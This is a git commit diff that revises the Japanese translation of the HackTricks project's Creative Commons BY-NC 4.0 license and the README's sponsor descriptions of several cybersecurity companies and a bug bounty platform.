Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:48:08 +00:00
parent 9cc1a4acad
commit d9759f5672
295 changed files with 13528 additions and 17016 deletions

View File

@ -11,75 +11,75 @@
# 表示-非営利 4.0 国際 # 表示-非営利 4.0 国際
クリエイティブ・コモンズ(「クリエイティブ・コモンズ」)は法律事務所ではなく、法的サービスや法的助言を提供しません。クリエイティブ・コモンズの公ライセンスの配布は、弁護士-クライアント関係やその他の関係を生じさせるものではありません。クリエイティブ・コモンズは、そのライセンスおよび関連情報を「現状のまま」提供します。クリエイティブ・コモンズは、そのライセンス、ライセンス条件に基づく資料、または関連情報について、いかなる保証も行いません。クリエイティブ・コモンズは、その使用から生じる損害について、可能な限りすべての責任を否認します。 クリエイティブ・コモンズ法人(「クリエイティブ・コモンズ」)は法律事務所ではなく、法的サービスや法的助言を提供しません。クリエイティブ・コモンズの公ライセンスの配布は、弁護士-クライアント関係やその他の関係を生じさせるものではありません。クリエイティブ・コモンズは、そのライセンスおよび関連情報を「現状のまま」提供します。クリエイティブ・コモンズは、そのライセンス、ライセンス条件に基づく資料、または関連情報について、いかなる保証も行いません。クリエイティブ・コモンズは、その使用から生じる損害について、可能な限りての責任を否認します。
## クリエイティブ・コモンズ公ライセンスの使用 ## クリエイティブ・コモンズ公ライセンスの使用
クリエイティブ・コモンズの公共ライセンスは、著作権および以下の公共ライセンスに指定された特定の他の権利の対象となるオリジナルの著作物やその他の資料を共有するために、クリエイターや他の権利者が使用できる標準的な条件を提供します。以下の考慮事項は情報提供のみを目的としており、網羅的ではなく、当社のライセンスの一部を形成するものではありません。 クリエイティブ・コモンズ公的ライセンスは、著作権および公的ライセンスの下で指定された特定の他の権利に従って、創作者や他の権利者が著作物やその他の資料を共有するために使用できる標準的な条件を提供します。以下の考慮事項は情報提供のみを目的としており、網羅的ではなく、当社のライセンスの一部を形成するものではありません。
- **ライセンサーへの考慮事項:** 当社の公ライセンスは、著作権および特定の他の権利によって制限される方法で資料を使用するための公的許可を与える権限を持つ者によって使用されることを意図しています。当社のライセンスは取り消し不可能です。ライセンサーは、選択したライセンスの条件を適用する前に、その条件を読み理解する必要があります。ライセンサーは、公共が期待通りに資料を再利用できるように、ライセンスを適用する前に必要なすべての権利を確保する必要があります。ライセンサーは、ライセンスの対象とならない資料を明確に示す必要があります。これには、他のCCライセンスの資料や、著作権の例外または制限の下で使用される資料が含まれます。[ライセンサーへのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors)。 - **ライセンサーへの考慮事項:** 当社の公ライセンスは、著作権および特定の他の権利によって制限される方法で資料を使用するための公的許可を与える権限を持つ者によって使用されることを意図しています。当社のライセンスは取り消し不可能です。ライセンサーは、選択したライセンスの条件を適用する前に、その条件を読み理解する必要があります。ライセンサーは、資料が期待通りに再利用されるように、ライセンスを適用する前に必要なすべての権利を確保する必要があります。ライセンサーは、ライセンスの対象とならない資料を明確に示す必要があります。これには、他のCCライセンスの資料や、著作権の例外または制限の下で使用される資料が含まれます。[ライセンサーへのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors)。
- **一般の人々への考慮事項:** 当社の公共ライセンスのいずれかを使用することにより、ライセンサーは、指定された条件の下でライセンスされた資料を使用する許可を一般に与えます。ライセンサーの許可が必要ない理由がある場合(たとえば、著作権の適用可能な例外または制限のため)、その使用はライセンスによって規制されません。当社のライセンスは、ライセンサーが付与する権限の下でのみ、著作権および特定の他の権利に基づく許可を付与します。ライセンスされた資料の使用は、他の理由(他者がその資料に著作権または他の権利を持っているためなど)によって制限される場合があります。ライセンサーは、すべての変更がマークまたは記述されるように求めるなど、特別なリクエストを行うことがあります。当社のライセンスによって要求されてはいませんが、合理的な範囲でそのリクエストを尊重することをお勧めします。[一般の人々へのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees)。 - **公衆への考慮事項:** 当社の公的ライセンスのいずれかを使用することにより、ライセンサーは、指定された条件の下でライセンスされた資料を使用する公衆への許可を与えます。ライセンサーの許可が必要ない理由がある場合(えば、著作権の適用可能な例外または制限のため)、その使用はライセンスによって規制されません。当社のライセンスは、ライセンサーが付与する権限の下でのみ、著作権および特定の他の権利に基づく許可を付与します。ライセンスされた資料の使用は、他の理由(他者がその資料に著作権または他の権利を持っているため)によって制限される場合があります。ライセンサーは、すべての変更がマークまたは記述されるように求める特別なリクエストを行うことがあります。当社のライセンスによって要求されていない場合でも、合理的な範囲でそのリクエストを尊重することをお勧めします。[公衆へのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees)。
# クリエイティブ・コモンズ 表示-非営利 4.0 国際公ライセンス # クリエイティブ・コモンズ 表示-非営利 4.0 国際公ライセンス
ライセンスされた権利(以下で定義)を行使することにより、あなたはこのクリエイティブ・コモンズ 表示-非営利 4.0 国際公共ライセンス(「公共ライセンス」)の条件に拘束されることに同意します。この公共ライセンスが契約として解釈される範囲で、あなたはこれらの条件を受け入れることに対する対価としてライセンスされた権利を付与され、ライセンサーはこれらの条件の下でライセンスされた資料を利用可能にすることから得られる利益に対する対価としてあなたにその権利を付与します。 ライセンスされた権利(以下で定義)を行使することにより、あなたはこのクリエイティブ・コモンズ 表示-非営利 4.0 国際公的ライセンス(「公的ライセンス」)の条件に拘束されることに同意します。この公的ライセンスが契約として解釈される範囲で、あなたはこれらの条件を受け入れることに対する対価としてライセンスされた権利を付与され、ライセンサーはこれらの条件の下でライセンスされた資料を利用可能にすることから得られる利益に対する対価としてあなたにその権利を付与します。
## 第1節 定義。 ## 第1節 定義。
a. **適応資料**とは、著作権および類似の権利の対象となる資料で、ライセンスされた資料から派生または基づいており、ライセンスされた資料が翻訳、変更、編成、変換、またはその他の方法でライセンサーが保する著作権および類似の権利の下で許可を必要とする方法で修正されているものを指します。この公ライセンスの目的上、ライセンスされた資料が音楽作品、パフォーマンス、または音声録音である場合、適応資料は常にライセンスされた資料が動画像と同期している場合に生成されます。 a. **適応資料**とは、著作権および類似の権利の対象となる資料で、ライセンスされた資料から派生または基づいており、ライセンスされた資料が翻訳、変更、編成、変換、またはその他の方法でライセンサーが保する著作権および類似の権利の下で許可を必要とする方法で修正されているものを指します。この公ライセンスの目的上、ライセンスされた資料が音楽作品、パフォーマンス、または音声録音である場合、適応資料は常にライセンスされた資料が動画像と同期している場合に生成されます。
b. **アダプターのライセンス**とは、あなたが適応資料への貢献における著作権および類似の権利に適用するライセンスを指します。 b. **アダプターのライセンス**とは、あなたが適応資料への貢献における著作権および類似の権利に適用するライセンスを指します。
c. **著作権および類似の権利**とは、著作権および/または著作権に密接に関連する類似の権利を指し、パフォーマンス、放送、音声録音、Sui Generisデータベース権を含むがこれに限定されない、権利のラベルや分類に関係なく、著作権および類似の権利の対象となる権利を指します。この公共ライセンスの目的上、第2節(b)(1)-(2)に指定された権利は著作権および類似の権利ではありません。 c. **著作権および類似の権利**とは、著作権および/または著作権に密接に関連する類似の権利を指し、パフォーマンス、放送、音声録音、Sui Generisデータベース権を含むがこれに限定されない、権利のラベルや分類に関係なく、著作権および類似の権利の対象となる権利を指します。この公的ライセンスの目的上、第2節(b)(1)-(2)で指定された権利は著作権および類似の権利ではありません。
d. **有効な技術的手段**とは、適切な権限がない場合に、1996年12月20日に採択されたWIPO著作権条約第11条の義務を履行する法律の下で回避できない手段を指します。 d. **有効な技術的手段**とは、適切な権限がない場合に、1996年12月20日に採択されたWIPO著作権条約第11条の義務を履行する法律の下で回避できない手段を指します。
e. **例外および制限**とは、公正使用、公正取引、および/またはライセンスされた資料の使用に適用される著作権および類似の権利に対するその他の例外または制限を指します。 e. **例外および制限**とは、公正使用、公正取引、および/またはライセンスされた資料の使用に適用される著作権および類似の権利に対するその他の例外または制限を指します。
f. **ライセンスされた資料**とは、ライセンサーがこの公ライセンスを適用した芸術的または文学的作品、データベース、またはその他の資料を指します。 f. **ライセンスされた資料**とは、ライセンサーがこの公ライセンスを適用した芸術的または文学的作品、データベース、またはその他の資料を指します。
g. **ライセンスされた権利**とは、この公ライセンスの条件に従ってあなたに付与される権利を指し、ライセンスされた資料の使用に適用されるすべての著作権および類似の権利に限定され、ライセンサーがライセンスを付与する権限を持つ権利を指します。 g. **ライセンスされた権利**とは、この公ライセンスの条件に従ってあなたに付与される権利を指し、ライセンスされた資料の使用に適用されるすべての著作権および類似の権利に限定され、ライセンサーがライセンスを付与する権限を持つ権利を指します。
h. **ライセンサー**とは、この公ライセンスの下で権利を付与する個人または団体を指します。 h. **ライセンサー**とは、この公ライセンスの下で権利を付与する個人または団体を指します。
i. **非営利**とは、主に商業的利益または金銭的報酬を目的としないことを意味します。この公ライセンスの目的上、著作権および類似の権利の対象となる他の資料との交換がデジタルファイル共有または類似の手段によって行われる場合、金銭的報酬の支払いがない限り、それは非営利と見なされます。 i. **非営利**とは、主に商業的利益または金銭的報酬を目的としないことを意味します。この公ライセンスの目的上、著作権および類似の権利の対象となる他の資料との交換がデジタルファイル共有または類似の手段によって行われる場合、金銭的報酬の支払いがない限り、非営利と見なされます。
j. **共有**とは、ライセンスされた権利の下で許可を必要とする手段またはプロセスによって資料を一般に提供することを意味し、複製、公共表示、公共パフォーマンス、配布、普及、通信、または輸入を含み、一般の人々が自分で選んだ場所と時間から資料にアクセスできるようにすることを意味します。 j. **共有**とは、ライセンスされた権利の下で許可を必要とする手段またはプロセスによって資料を公衆に提供することを意味し、複製、公の表示、公のパフォーマンス、配布、普及、通信、または輸入を含み、資料を公衆に利用可能にすることを含みます。公衆のメンバーが自分で選んだ場所と時間から資料にアクセスできる方法で提供されます。
k. **Sui Generisデータベース権**とは、1996年3月11日の欧州議会および理事会の指令96/9/ECに基づく著作権以外の権利を指し、データベースの法的保護に関するもので、改正または後継のもの、または世界のどこにでも本質的に同等の権利を指します。 k. **Sui Generisデータベース権**とは、1996年3月11日の欧州議会および理事会の指令96/9/ECに基づく著作権以外の権利を指し、データベースの法的保護に関するもので、改正または後継のもの、または世界のどこにでも本質的に同等の権利を指します。
l. **あなた**とは、この公ライセンスの下でライセンスされた権利を行使する個人または団体を指します。あなたには対応する意味があります。 l. **あなた**とは、この公ライセンスの下でライセンスされた権利を行使する個人または団体を指します。あなたには対応する意味があります。
## 第2節 範囲。 ## 第2節 範囲。
a. **_ライセンスの付与._** a. **_ライセンスの付与._**
1. この公ライセンスの条件に従い、ライセンサーはここに、ライセンスされた資料におけるライセンスされた権利を行使するための全世界的、ロイヤリティフリー、再ライセンス不可、非独占的、取り消し不可能なライセンスをあなたに付与します: 1. この公ライセンスの条件に従い、ライセンサーはここにあなたに、ライセンスされた資料におけるライセンスされた権利を行使するための全世界的、ロイヤリティフリー、再ライセンス不可、非独占的、取り消し不可能なライセンスを付与します:
A. ライセンスされた資料を、全体または一部を、非営利目的のみに複製および共有すること;および A. ライセンスされた資料を、全体または一部を、非営利目的のみに複製および共有すること;および
B. 非営利目的のみに適応資料を作、複製、および共有すること。 B. 非営利目的のみに適応資料を作、複製、および共有すること。
2. **例外および制限。** あなたの使用に例外および制限が適用される場合、この公ライセンスは適用されず、その条件に従う必要はありません。 2. **例外および制限。** あなたの使用に例外および制限が適用される場合、この公ライセンスは適用されず、その条件に従う必要はありません。
3. **期間。** この公ライセンスの期間は第6節(a)に指定されています。 3. **期間。** この公ライセンスの期間は第6節(a)に指定されています。
4. **メディアおよびフォーマット;技術的修正が許可される。** ライセンサーは、あなたが現在知られているか、今後作成されるすべてのメディアおよびフォーマットでライセンスされた権利を行使することを許可し、それを行うために必要な技術的修正を行うことを許可します。ライセンサーは、ライセンスされた権利を行使するために必要な技術的修正を行うことを禁じる権利または権限を放棄し、または主張しないことに同意します。この公ライセンスの目的上、この第2節(a)(4)によって許可された修正を行うことは、適応資料を生成することはありません。 4. **メディアおよびフォーマット;技術的修正が許可される。** ライセンサーは、あなたが現在知られているか、今後作成されるすべてのメディアおよびフォーマットでライセンスされた権利を行使することを許可し、それを行うために必要な技術的修正を行うことを許可します。ライセンサーは、ライセンスされた権利を行使するために必要な技術的修正を行うことを禁じる権利または権限を放棄し、または主張しないことに同意します。この公ライセンスの目的上、この第2節(a)(4)によって許可された修正を行うことは、適応資料を生成することはありません。
5. **下流の受取人。** 5. **下流の受取人。**
A. **ライセンサーからのオファー ライセンスされた資料。** ライセンスされた資料のすべての受取人は、自動的にこの公ライセンスの条件の下でライセンスされた権利を行使するオファーをライセンサーから受け取ります。 A. **ライセンサーからのオファー ライセンスされた資料。** ライセンスされた資料のすべての受取人は、自動的にこの公ライセンスの条件の下でライセンスされた権利を行使するオファーをライセンサーから受け取ります。
B. **下流の制限なし。** あなたは、ライセンスされた資料に対して追加または異なる条件を提供したり、適用したりすることはできません。もしそれがライセンスされた資料の受取人によるライセンスされた権利の行使を制限する場合は、適用できません。 B. **下流の制限なし。** あなたは、ライセンスされた資料に対して追加または異なる条件を提供したり、適用したりすることはできません。そうすることで、ライセンスされた資料の受取人によるライセンスされた権利の行使が制限される場合は、適用できません。
6. **承認なし。** この公共ライセンスのいかなる内容も、あなたがライセンスされた資料を使用することがライセンサーまたは他の指定された者によって承認、支持、または公式な地位を与えられていることを主張または暗示する許可を構成するものではありません。 6. **承認なし。** この公的ライセンスのいかなる内容も、あなたがライセンスされた資料を使用していることが、ライセンサーまたは他の指定された者によって承認、支持、または公式な地位を与えられていることを主張または暗示する許可を構成するものではありません。
b. **_その他の権利._** b. **_その他の権利._**
1. 道徳的権利、例えば完全性の権利は、この公共ライセンスの下でライセンスされておらず、パブリシティ、プライバシー、および/またはその他の類似の人格権も同様です。ただし、可能な限り、ライセンサーは、ライセンスされた権利を行使するために必要な限度で、ライセンサーが保有するそのような権利を放棄し、または主張しないことに同意しますが、それ以外はありません 1. 完全性の権利などの道徳的権利は、この公的ライセンスの下でライセンスされておらず、パブリシティ、プライバシー、および/またはその他の類似の人格権も同様です。ただし、可能な限り、ライセンサーは、ライセンスされた権利を行使するために必要な限られた範囲で、ライセンサーが保持するそのような権利を放棄し、または主張しないことに同意します。
2. 特許および商標権は、この公ライセンスの下でライセンスされていません。 2. 特許および商標権は、この公ライセンスの下でライセンスされていません。
3. 可能な限り、ライセンサーは、ライセンスされた権利の行使に対してあなたからロイヤリティを徴収する権利を放棄します。直接的または集金団体を通じて、任意または放棄可能な法定または強制的なライセンス制度の下で。その他のすべてのケースにおいて、ライセンサーはそのようなロイヤリティを徴収する権利を明示的に留保します。ライセンスされた資料が非営利目的以外で使用される場合も含まれます。 3. 可能な限り、ライセンサーは、ライセンスされた権利の行使に対してあなたからロイヤリティを徴収する権利を放棄します。これは、直接的または集金団体を通じて、任意または放棄可能な法定または強制的なライセンス制度の下で行われます。他のすべてのケースにおいて、ライセンサーはそのようなロイヤリティを徴収する権利を明示的に留保します。これは、ライセンスされた資料が非営利目的以外で使用される場合も含まれます。
## 第3節 ライセンス条件。 ## 第3節 ライセンス条件。
@ -91,11 +91,11 @@ a. **_表示._**
A. ライセンサーがライセンスされた資料と共に提供した場合、以下を保持する必要があります: A. ライセンサーがライセンスされた資料と共に提供した場合、以下を保持する必要があります:
i. ライセンスされた資料のクリエイターおよび表示を受けることに指定された他の者の識別を、ライセンサーが要求する合理的な方法で行うこと(指定された場合はペンネームを含む); i. ライセンスされた資料の創作者および表示を受けるように指定された他の者の識別を、ライセンサーが要求する合理的な方法で行うこと(指定された場合はペンネームを含む);
ii. 著作権表示; ii. 著作権表示;
iii. この公ライセンスを参照する通知; iii. この公ライセンスを参照する通知;
iv. 保証の否認を参照する通知; iv. 保証の否認を参照する通知;
@ -103,37 +103,37 @@ v. ライセンスされた資料へのURIまたはハイパーリンクを、
B. あなたがライセンスされた資料を修正した場合、その旨を示し、以前の修正の指示を保持すること;および B. あなたがライセンスされた資料を修正した場合、その旨を示し、以前の修正の指示を保持すること;および
C. ライセンスされた資料がこの公共ライセンスの下でライセンスされていることを示し、この公共ライセンスのテキストまたはURIまたはハイパーリンクを含めること。 C. ライセンスされた資料がこの公的ライセンスの下でライセンスされていることを示し、この公的ライセンスのテキストまたはURIまたはハイパーリンクを含めること。
2. あなたは、ライセンスされた資料を共有する際に、メディア、手段、および文脈に基づいて、セクション3(a)(1)の条件を合理的な方法で満たすことができます。たとえば、必要な情報を含むリソースへのURIまたはハイパーリンクを提供することで条件を満たすことが合理的である場合があります。 2. あなたは、ライセンスされた資料を共有する際メディア、手段、および文脈に基づいて、セクション3(a)(1)の条件を合理的な方法で満たすことができます。えば、必要な情報を含むリソースへのURIまたはハイパーリンクを提供することで条件を満たすことが合理的である場合があります。
3. ライセンサーから要求された場合、あなたは、合理的に実現可能な範囲で、セクション3(a)(1)(A)で要求される情報を削除する必要があります。 3. ライセンサーから要求された場合、あなたは、合理的に実現可能な範囲で、セクション3(a)(1)(A)で要求される情報のいずれかを削除する必要があります。
4. あなたが作した適応資料を共有する場合、あなたが適用するアダプターのライセンスは、適応資料の受取人がこの公ライセンスに従うことを妨げてはなりません。 4. あなたが作した適応資料を共有する場合、あなたが適用するアダプターのライセンスは、適応資料の受取人がこの公ライセンスに従うことを妨げてはなりません。
## 第4節 Sui Generisデータベース権。 ## 第4節 Sui Generisデータベース権。
ライセンスされた権利あなたのライセンスされた資料の使用に適用されるSui Generisデータベース権を含む場合: ライセンスされた権利あなたのライセンスされた資料の使用に適用されるSui Generisデータベース権が含まれる場合:
a. 明確にするために、セクション2(a)(1)は、あなたに対して、非営利目的のみにデータベースの内容のすべてまたは実質的な部分を抽出、再利用、複製、および共有する権利を付与します; a. 明確にするために、セクション2(a)(1)は、あなたに対して、非営利目的のみにデータベースの内容のすべてまたは実質的な部分を抽出、再利用、複製、および共有する権利を付与します;
b. あなたがSui Generisデータベース権を持つデータベースにデータベースの内容のすべてまたは実質的な部分を含める場合、そのデータベース(ただしその個々の内容を除く)は適応資料です;および b. あなたがSui Generisデータベース権を持つデータベースにデータベースの内容のすべてまたは実質的な部分を含める場合、そのデータベースただしその個々の内容ではない)は適応資料です;および
c. あなたがデータベースの内容のすべてまたは実質的な部分を共有する場合、セクション3(a)の条件に従う必要があります。 c. あなたがデータベースの内容のすべてまたは実質的な部分を共有する場合、セクション3(a)の条件に従う必要があります。
明確にするために、この第4節は、ライセンスされた権利が他の著作権および類似の権利を含む場合におけるこの公共ライセンスの下でのあなたの義務を補足し、置き換えるものではありません。 明確にするために、この第4節は、ライセンスされた権利に他の著作権および類似の権利が含まれる場合のあなたの義務を補足し、置き換えるものではありません。
## 第5節 保証の否認および責任の制限。 ## 第5節 保証の否認および責任の制限。
a. **ライセンサーが別途行わない限り、可能な限り、ライセンサーはライセンスされた資料を現状のまま提供し、いかなる種類の表明または保証も行いません。これには、著作権、商業性、特定の目的への適合性、非侵害、潜在的またはその他の欠陥の不在、正確性、または知られているかどうかにかかわらずエラーの存在または不在に関する保証が含まれます。保証の否認が完全または部分的に許可されていない場合、この否認はあなたには適用されない場合があります。** a. **ライセンサーが別途行わない限り、可能な限り、ライセンサーはライセンスされた資料を現状のまま提供し、ライセンスされた資料に関していかなる種類の表明または保証も行いません。これには、タイトル、商業性、特定の目的への適合性、非侵害、潜在的またはその他の欠陥の不在、正確性、または知られているか発見可能かにかかわらず、エラーの存在または不在に関する保証が含まれますが、これに限定されません。保証の否認が完全または部分的に許可されない場合、この否認はあなたには適用されない場合があります。**
b. **可能な限り、ライセンサーは、いかなる法的理論(過失を含むがこれに限定されない)またはその他の理由において、あなたに対してこの公ライセンスまたはライセンスされた資料の使用から生じる直接的、特別、間接、偶発的、結果的、懲罰的、模範的、またはその他の損失、コスト、費用、または損害について責任を負いません。ライセンサーがそのような損失、コスト、費用、または損害の可能性について通知を受けていた場合でも同様です。責任の制限が完全または部分的に許可されていない場合、この制限はあなたには適用されない場合があります。** b. **可能な限り、ライセンサーは、いかなる法的理論(過失を含むがこれに限定されない)またはその他の理由において、あなたに対してこの公ライセンスまたはライセンスされた資料の使用から生じる直接的、特別、間接、偶発的、結果的、懲罰的、模範的、またはその他の損失、コスト、費用、または損害について責任を負いません。たとえライセンサーがそのような損失、コスト、費用、または損害の可能性について通知されていた場合でもです。責任の制限が完全または部分的に許可されない場合、この制限はあなたには適用されない場合があります。**
c. 上記の保証の否認および責任の制限は、可能な限り、すべての責任の絶対的な否認および放棄に最も近い方法で解釈されるものとします。 c. 上記の保証の否認および責任の制限は、可能な限り、すべての責任の絶対的な否認および放棄に最も近い方法で解釈されるものとします。
## 第6節 期間および終了。 ## 第6節 期間および終了。
a. この公ライセンスは、ここでライセンスされた著作権および類似の権利の期間に適用されます。ただし、あなたがこの公ライセンスに従わない場合、あなたの権利は自動的に終了します。 a. この公ライセンスは、ここでライセンスされた著作権および類似の権利の期間に適用されます。ただし、あなたがこの公ライセンスに従わない場合、あなたの権利は自動的に終了します。
b. あなたのライセンスされた資料の使用権が第6節(a)に基づいて終了した場合、それは次のように復活します: b. あなたのライセンスされた資料の使用権が第6節(a)に基づいて終了した場合、それは次のように復活します:
@ -141,27 +141,27 @@ b. あなたのライセンスされた資料の使用権が第6節(a)に基づ
2. ライセンサーによる明示的な復活。 2. ライセンサーによる明示的な復活。
明確にするために、この第6節(b)は、ライセンサーがあなたのこの公ライセンスの違反に対して救済を求める権利に影響を与えません。 明確にするために、この第6節(b)は、ライセンサーがあなたのこの公ライセンスの違反に対して救済を求める権利に影響を与えません。
c. 明確にするために、ライセンサーは、ライセンスされた資料を別の条件または条件の下で提供したり、ライセンスされた資料の配布をいつでも停止したりすることができます。ただし、その場合でもこの公共ライセンスは終了しません。 c. 明確にするために、ライセンサーは、ライセンスされた資料を別の条件または条件の下で提供したり、いつでも配布を停止したりすることができます。ただし、そうすることはこの公的ライセンスを終了させるものではありません。
d. 第1、5、6、7、および8節は、この公ライセンスの終了後も存続します。 d. 第1、5、6、7、および8節は、この公ライセンスの終了後も存続します。
## 第7節 その他の条件。 ## 第7節 その他の条件。
a. ライセンサーは、あなたが伝えた追加または異なる条件に拘束されることはありません。 a. ライセンサーは、明示的に合意されない限り、あなたから伝えられた追加または異なる条件に拘束されません。
b. ライセンスされた資料に関する本書に記載されていない取り決め、理解、または合意は、この公ライセンスの条件から独立したものです。 b. ライセンスされた資料に関する本書に記載されていない取り決め、理解、または合意は、この公ライセンスの条件から独立したものです。
## 第8節 解釈。 ## 第8節 解釈。
a. 明確にするために、この公共ライセンスは、ライセンスされた資料の使用に対して、この公共ライセンスの下での許可なしに合法的に行うことができる使用を減少、制限、制約、または条件を課すものではありません。 a. 明確にするために、この公的ライセンスは、あなたがこの公的ライセンスの下で許可なしに合法的に行うことができるライセンスされた資料の使用を減少、制限、制約、または条件を課すものではありません。
b. 可能な限り、この公ライセンスのいかなる条項が執行不可能と見なされる場合、それは執行可能にするために必要な最小限の範囲で自動的に修正されます。条項が修正できない場合、それはこの公ライセンスから切り離され、残りの条件の執行可能性には影響を与えません。 b. 可能な限り、この公ライセンスのいかなる条項が執行不可能と見なされる場合、それは執行可能にするために必要な最小限の範囲で自動的に修正されます。条項が修正できない場合、それはこの公ライセンスから切り離され、残りの条件の執行可能性には影響を与えません。
c. この公ライセンスのいかなる条項または条件も放棄されず、ライセンサーによって明示的に意されない限り、遵守しないことに同意されることはありません。 c. この公ライセンスのいかなる条項または条件も放棄されず、ライセンサーによって明示的に意されない限り、遵守しないことに同意されません。
d. この公ライセンスのいかなる内容も、ライセンサーまたはあなたに適用される特権および免責の制限または放棄を構成するものではありません。 d. この公ライセンスのいかなる内容も、ライセンサーまたはあなたに適用される特権および免責の制限または放棄を構成するものではありません。
``` ```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

View File

@ -25,7 +25,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。 彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。
**STM Cyber**は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :) **STM Cyber**は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :)
--- ---
@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 [**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -45,7 +45,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。 **Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! **バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -100,8 +100,8 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu
他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\ 現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ 詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)を確認するか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\
**ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign_up)**。** **無料アカウントを作成**するには[**こちら**](https://serpapi.com/users/sign_up)をクリックしてください。**
--- ---
@ -119,19 +119,19 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、**世界中のビジネスを最新のサイバーセキュリティ脅威から保護する**ために、**攻撃的セキュリティサービス**を提供しています。 [**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護する**ために、**攻撃的セキュリティサービス**を提供しています。
WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。 WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。
